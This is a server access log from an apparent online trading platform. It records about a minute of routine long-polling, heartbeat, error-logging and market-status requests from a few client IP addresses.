[09/Jan/2026:09:40:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923092752 HTTP/1.1" -
[09/Jan/2026:09:40:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923093302 HTTP/1.1" -
[09/Jan/2026:09:40:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923096561 HTTP/1.1" -
[09/Jan/2026:09:40:25 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923094057 HTTP/1.1" -
[09/Jan/2026:09:40:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923109435 HTTP/1.1" -
[09/Jan/2026:09:40:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923097786 HTTP/1.1" -
[09/Jan/2026:09:40:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923101687 HTTP/1.1" -
[09/Jan/2026:09:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923099293 HTTP/1.1" -
[09/Jan/2026:09:40:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923114501 HTTP/1.1" -
[09/Jan/2026:09:40:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923100055 HTTP/1.1" -
[09/Jan/2026:09:40:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923102829 HTTP/1.1" -
[09/Jan/2026:09:40:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923106833 HTTP/1.1" -
[09/Jan/2026:09:40:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923119524 HTTP/1.1" -
[09/Jan/2026:09:40:36 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923105298 HTTP/1.1" -
[09/Jan/2026:09:40:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923106060 HTTP/1.1" -
[09/Jan/2026:09:40:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923107877 HTTP/1.1" -
[09/Jan/2026:09:40:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923111971 HTTP/1.1" -
[09/Jan/2026:09:40:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923124582 HTTP/1.1" -
[09/Jan/2026:09:40:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923111297 HTTP/1.1" -
[09/Jan/2026:09:40:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923112054 HTTP/1.1" -
[09/Jan/2026:09:40:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923112928 HTTP/1.1" -
[09/Jan/2026:09:40:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923117167 HTTP/1.1" -
[09/Jan/2026:09:40:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923129647 HTTP/1.1" -
[09/Jan/2026:09:40:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923117292 HTTP/1.1" -
[09/Jan/2026:09:40:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923117991 HTTP/1.1" -
[09/Jan/2026:09:40:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923118057 HTTP/1.1" -
[09/Jan/2026:09:40:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923122320 HTTP/1.1" -
[09/Jan/2026:09:40:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923134670 HTTP/1.1" -
[09/Jan/2026:09:40:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923123010 HTTP/1.1" -
[09/Jan/2026:09:40:54 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923123301 HTTP/1.1" -
[09/Jan/2026:09:40:55 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923124078 HTTP/1.1" -
[09/Jan/2026:09:40:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923127390 HTTP/1.1" -
[09/Jan/2026:09:40:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923139740 HTTP/1.1" -
[09/Jan/2026:09:40:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923128042 HTTP/1.1" -
[09/Jan/2026:09:41:00 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923129290 HTTP/1.1" -
[09/Jan/2026:09:41:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923132525 HTTP/1.1" -
[09/Jan/2026:09:41:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923144817 HTTP/1.1" -
[09/Jan/2026:09:41:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923130045 HTTP/1.1" -
[09/Jan/2026:09:41:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923133091 HTTP/1.1" -
[09/Jan/2026:09:41:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923137665 HTTP/1.1" -
[09/Jan/2026:09:41:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923149879 HTTP/1.1" -
[09/Jan/2026:09:41:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923135289 HTTP/1.1" -
[09/Jan/2026:09:41:07 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923136057 HTTP/1.1" -
[09/Jan/2026:09:41:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923138129 HTTP/1.1" -
[09/Jan/2026:09:41:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923142791 HTTP/1.1" -
[09/Jan/2026:09:41:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923154955 HTTP/1.1" -
[09/Jan/2026:09:41:12 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923141299 HTTP/1.1" -
[09/Jan/2026:09:41:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923143155 HTTP/1.1" -
[09/Jan/2026:09:41:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923147993 HTTP/1.1" -
[09/Jan/2026:09:41:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923160026 HTTP/1.1" -
[09/Jan/2026:09:41:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:41:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923147304 HTTP/1.1" -
[09/Jan/2026:09:41:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923148183 HTTP/1.1" -
[09/Jan/2026:09:41:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923165050 HTTP/1.1" -
[09/Jan/2026:09:41:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923153142 HTTP/1.1" -
[09/Jan/2026:09:41:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923153225 HTTP/1.1" -
[09/Jan/2026:09:41:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923153303 HTTP/1.1" -
[09/Jan/2026:09:41:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:41:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:41:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
